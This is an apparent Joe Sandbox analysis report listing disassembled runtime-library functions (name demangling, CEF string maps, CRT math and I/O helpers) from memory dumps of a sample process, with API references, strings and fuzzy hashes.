Function 00007FF8BFB58EC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB58D3C: Replicator::operator[].LIBVCRUNTIME ref: 00007FF8BFB58DFD

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB58F72

Strings

<ellipsis>, xrefs: 00007FF8BFB58FBF
,..., xrefs: 00007FF8BFB58F40
,<ellipsis>, xrefs: 00007FF8BFB58F50
..., xrefs: 00007FF8BFB58FAF
void, xrefs: 00007FF8BFB58FE4

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 1405650943-2211150622
Opcode ID: bbc19fe8acb2af624d1aa6c3fda2c2c3f4ee9ad2dfe93a969b1fef282e9c5a3b
Instruction ID: 4c1cdd2ece87175a10374ff9aec53438316d6778dbd08b89cfac271e62e23f7a
Opcode Fuzzy Hash: bbc19fe8acb2af624d1aa6c3fda2c2c3f4ee9ad2dfe93a969b1fef282e9c5a3b
Instruction Fuzzy Hash: 2A4106B2E08B46ADF7118BACD8602BCB7A1BB08788F984931DB4C167A4DF7CE544C740

Function 00007FF8BFB5ACD8 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5ADBB

Strings

short , xrefs: 00007FF8BFB5AD58
unsigned , xrefs: 00007FF8BFB5AD8F
int , xrefs: 00007FF8BFB5AD49
long , xrefs: 00007FF8BFB5AD3A
char , xrefs: 00007FF8BFB5AD61

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+
String ID: char $int $long $short $unsigned
API String ID: 2943138195-3894466517
Opcode ID: d543906abe76930c5ae4e84494e2eda85b894ff74c2d28b68c5523291a1a48d2
Instruction ID: fef3c30fa1e94eeed08bfc1d75c2466910526d5e808eaee25e41f75c23eea019
Opcode Fuzzy Hash: d543906abe76930c5ae4e84494e2eda85b894ff74c2d28b68c5523291a1a48d2
Instruction Fuzzy Hash: 66311872B18A559DEB159FACD8601BC77A4FB09B88F448136DB4C27B98DE3CE544C710

Function 00007FF7F96EE980 Relevance: 10.5, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F96EE98D
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EE996
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EE99F
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EE9A8
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EE9B1
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EE9BD
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EE9C9

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: b907666272c45d9d6ff080cd8075b49ea0bc4e31f06a12cac75e2cf208154752
Instruction ID: 5cf5bf708bc17c66b19be321a88a27ddae350fd7e883f3471fbbe9fcdef8d512
Opcode Fuzzy Hash: b907666272c45d9d6ff080cd8075b49ea0bc4e31f06a12cac75e2cf208154752
Instruction Fuzzy Hash: 2EF01412A1858991EB90FF64CC521FE5A31AB58744FC41E31E62D450EB9F18D55683B1

Function 00007FF7F97202A0 Relevance: 10.5, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F97202AD
cef_string_map_alloc.LIBCEF ref: 00007FF7F97202B7
cef_string_map_alloc.LIBCEF ref: 00007FF7F97202C1
cef_string_map_alloc.LIBCEF ref: 00007FF7F97202CB
cef_string_map_alloc.LIBCEF ref: 00007FF7F97202D5
cef_string_map_alloc.LIBCEF ref: 00007FF7F97202E2
cef_string_map_alloc.LIBCEF ref: 00007FF7F97202EF

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: 67324ca78e9feae9fa31f44ee5c65d68ce8e15fd10505976dea262e3b35507a2
Instruction ID: a97b73e38923a6e1a596298fb3437f64756dd24619be371b58aac92a828af398
Opcode Fuzzy Hash: 67324ca78e9feae9fa31f44ee5c65d68ce8e15fd10505976dea262e3b35507a2
Instruction Fuzzy Hash: 25F07A61A14947D2EF48AF20FD586B86770FB98B6AF842031C51E450B8DE2CD58EC3B0

Function 00007FF7F96F3430 Relevance: 9.4, APIs: 6, Instructions: 381COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96F8B20: new.LIBCMT ref: 00007FF7F96F8B37
Part of subcall function 00007FF7F96F8B20: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8B46

cef_string_map_alloc.LIBCEF ref: 00007FF7F96F34F4
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F3694
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F3860
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F3870
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F3880
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F388D

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$cef_string_map_alloc
String ID:
API String ID: 3856544966-0
Opcode ID: 9e3e71ca329b96e36f7a132528e32e6390a8668cd25f0c4461edf89f4c602a05
Instruction ID: 9f3b43137d64124a1de2a4ee150ff6f39629897d4d81bf0d2237c9fd91a83483
Opcode Fuzzy Hash: 9e3e71ca329b96e36f7a132528e32e6390a8668cd25f0c4461edf89f4c602a05
Instruction Fuzzy Hash: E9025B62A19B8595EB54EF15D8407ADA7B2FB84BC8F845035DA6D0B7E8EF3CD440C390

Function 00007FF7F96FBEF0 Relevance: 9.3, APIs: 6, Instructions: 308COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96FC010

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 8492ec3cbb052648847725c6eac285aad335bf2eec9658cc8bf6bb9f2bd8324d
Instruction ID: c3b6bc6b942329e7e66e0b22e11f8a1c630256c60339c651ed5f48cbf1b21cdc
Opcode Fuzzy Hash: 8492ec3cbb052648847725c6eac285aad335bf2eec9658cc8bf6bb9f2bd8324d
Instruction Fuzzy Hash: E8C17973B05B4482EF10DF69E8402ADA7B2FB44B98B598531CE6D17BA8EF38D415C390

Function 00007FF8B90EFAD0 Relevance: 9.2, APIs: 6, Instructions: 177COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90EFB89

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: 37ef44d73613fa637cd5931db9e282469f942bc8d6bbf53949da0148d4e9ee1e
Instruction ID: 01c97e0e0555639cb9da6743b05e7ee202484f08df455ced0418e7a8bdc9e652
Opcode Fuzzy Hash: 37ef44d73613fa637cd5931db9e282469f942bc8d6bbf53949da0148d4e9ee1e
Instruction Fuzzy Hash: A5812B76A09E85D8EB508F2DC4903AC37A6FB48B98F615632EB6E47798DF38D445C310

Function 00007FF8BFB5AE00 Relevance: 9.2, APIs: 6, Instructions: 161COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FF8BFB5AEB2
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5AEC2
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5AEDF
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5AF52
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5AF7B

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 2525277bc558616bb67a30a3331fd7d08be3bd4bec0defa2e2d618cc86f76eb6
Instruction ID: 640f444b360ec36bff0865eceecefdeb80275dccdd48c1e117f27201c173175c
Opcode Fuzzy Hash: 2525277bc558616bb67a30a3331fd7d08be3bd4bec0defa2e2d618cc86f76eb6
Instruction Fuzzy Hash: 2C717772A18B5699F7018FA8E8A02BC77A5BB54788F688036EB0D67695DF7CE445C300

Function 00007FF8B90E2A7C Relevance: 9.1, APIs: 6, Instructions: 102COMMON

Download Yara Rule

APIs

_Xp_setw.LIBCPMT ref: 00007FF8B90E2AE3
_Xp_movx.LIBCPMT ref: 00007FF8B90E2AF3

Part of subcall function 00007FF8B90E4990: memcpy.VCRUNTIME140(?,?,00000004,00007FF8B90E2AF8), ref: 00007FF8B90E49A6

Part of subcall function 00007FF8B90E4920: ldexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,00007FF8B90E2B08), ref: 00007FF8B90E4951

_Xp_mulx.LIBCPMT ref: 00007FF8B90E2B23
_Xp_movx.LIBCPMT ref: 00007FF8B90E2B36
_Xp_mulx.LIBCPMT ref: 00007FF8B90E2B51
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90E2BAF

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Xp_movxXp_mulx$Xp_setw_errnoldexpmemcpy
String ID:
API String ID: 2704743706-0
Opcode ID: fbe8a88868b665d4309cbe054d2a8286b12580c86b6c0d59b7eba0ca7af31215
Instruction ID: 5276b24712310e16a0ad2dda169bec5cb5ba48116066419e2911aec4bab22ab6
Opcode Fuzzy Hash: fbe8a88868b665d4309cbe054d2a8286b12580c86b6c0d59b7eba0ca7af31215
Instruction Fuzzy Hash: 1A418E26F08E829AFB119F6DA4422F973A2AF887C4F554631DB2D27295DF3CE5478240

Function 00007FF8B90E41E8 Relevance: 9.1, APIs: 6, Instructions: 102COMMON

Download Yara Rule

APIs

_Xp_setw.LIBCPMT ref: 00007FF8B90E424F
_Xp_movx.LIBCPMT ref: 00007FF8B90E425F

Part of subcall function 00007FF8B90E4990: memcpy.VCRUNTIME140(?,?,00000004,00007FF8B90E2AF8), ref: 00007FF8B90E49A6

Part of subcall function 00007FF8B90E4920: ldexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,00007FF8B90E2B08), ref: 00007FF8B90E4951

_Xp_mulx.LIBCPMT ref: 00007FF8B90E428F
_Xp_movx.LIBCPMT ref: 00007FF8B90E42A2
_Xp_mulx.LIBCPMT ref: 00007FF8B90E42BD
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90E431B

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Xp_movxXp_mulx$Xp_setw_errnoldexpmemcpy
String ID:
API String ID: 2704743706-0
Opcode ID: 45cdee77e7545dfb4ac0ef30fcf84e3151481f7f1e52e181642e42e439e35c8f
Instruction ID: 208d11101057219173e05044181de810e9668cf15f5aea76318a07888faa11d1
Opcode Fuzzy Hash: 45cdee77e7545dfb4ac0ef30fcf84e3151481f7f1e52e181642e42e439e35c8f
Instruction Fuzzy Hash: C9416B22F08E829AFB129F6EA4412B933A1AF847C4F914235DB2D27395DF3CE5479200

Function 00007FF8B90E3284 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

_FXp_setw.LIBCPMT ref: 00007FF8B90E32E3
_FXp_movx.LIBCPMT ref: 00007FF8B90E32F3

Part of subcall function 00007FF8B90E3AC8: memcpy.VCRUNTIME140(?,00000004,00000004,00007FF8B90E32F8), ref: 00007FF8B90E3ADE

Part of subcall function 00007FF8B90E3A50: ldexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,00007FF8B90E3308), ref: 00007FF8B90E3A84

_FXp_mulx.LIBCPMT ref: 00007FF8B90E3325
_FXp_movx.LIBCPMT ref: 00007FF8B90E333A
_FXp_mulx.LIBCPMT ref: 00007FF8B90E3358
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90E33B3

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Xp_movxXp_mulx$Xp_setw_errnoldexpmemcpy
String ID:
API String ID: 2704743706-0
Opcode ID: 46f50b73c82e49e8af2879a4f3962c67271bb0fc27e978c102ab5c68021049db
Instruction ID: 5652a125e5a897f2394562a07f70fcca2038b4e1b940840f826e5697204963c8
Opcode Fuzzy Hash: 46f50b73c82e49e8af2879a4f3962c67271bb0fc27e978c102ab5c68021049db
Instruction Fuzzy Hash: 5041B522E0CEC393EA129F2E94415BAAA60BF847C0F545631EB9D27795DF3DE5079600

Function 00007FF8BFB569F0 Relevance: 9.1, APIs: 6, Instructions: 83stringCOMMON

Download Yara Rule

APIs

__unDName.LIBVCRUNTIME ref: 00007FF8BFB56A43
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8BFB56A86
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8BFB56AB0
InterlockedPushEntrySList.KERNEL32 ref: 00007FF8BFB56ACD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8BFB56AD9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8BFB56AE2

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: free$EntryInterlockedListNamePush__unmallocstrcpy_s
String ID:
API String ID: 3741236498-0
Opcode ID: 080442bbed9b7baa97cf181390621352c52238d50ff0bc3b3759bb2dfd2316c3
Instruction ID: 3d41c7f8ef890fcbe6f4392884ee923d5fe9e224761bb317bf01658cbc3d1ac7
Opcode Fuzzy Hash: 080442bbed9b7baa97cf181390621352c52238d50ff0bc3b3759bb2dfd2316c3
Instruction Fuzzy Hash: F631C422B2AB9191FA15DFA9A81456973A1FF48FE0B598535DF2D03380EE3DE856C300

Function 00007FF8B90E1CD0 Relevance: 9.1, APIs: 6, Instructions: 66COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90E1CDE
fputs.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90E1CEA
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90E1CF5
fputc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90E1D03
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90E1D09

Part of subcall function 00007FF8B90F90D0: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90E1D35), ref: 00007FF8B90F90E9

Part of subcall function 00007FF8B90F94E0: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90E1D43), ref: 00007FF8B90F9500

Part of subcall function 00007FF8B90E1FB0: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90E1FD1

_Mtx_unlock.LIBCPMT ref: 00007FF8B90E1D9E

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: __acrt_iob_funccalloc$Mtx_unlock_beginthreadexabortfputcfputs
String ID:
API String ID: 3995598257-0
Opcode ID: 6ad6c8eed9cc5b4294a11b96ced4649fbf6b7dbd8c716d51d6e433a25b8b480f
Instruction ID: 271e2713a46f047ee6b786975c5d45ff154cc914726ae55aa7572bf9053a70a0
Opcode Fuzzy Hash: 6ad6c8eed9cc5b4294a11b96ced4649fbf6b7dbd8c716d51d6e433a25b8b480f
Instruction Fuzzy Hash: 86214F22A18A9199EB40AF69D8506F93374FF48BD8F041035FB1E47B9ADE38D585C780

Function 00007FF8B9115C60 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115F50: __crtInitOnceExecuteOnce.LIBCPMT ref: 00007FF8B9115F6C
Part of subcall function 00007FF8B9115F50: terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8B9115C6B), ref: 00007FF8B9115F75

GetLastError.KERNEL32 ref: 00007FF8B9115C6E

Part of subcall function 00007FF8B9115B38: std::_System_error::_System_error.LIBCPMT ref: 00007FF8B9115B7D
Part of subcall function 00007FF8B9115B38: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9115BB7

_CxxThrowException.VCRUNTIME140 ref: 00007FF8B9115CA9
__crtInitOnceExecuteOnce.LIBCPMT ref: 00007FF8B9115CF9
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9115D03
__crtInitOnceExecuteOnce.LIBCPMT ref: 00007FF8B9115D2A
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9115D34

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

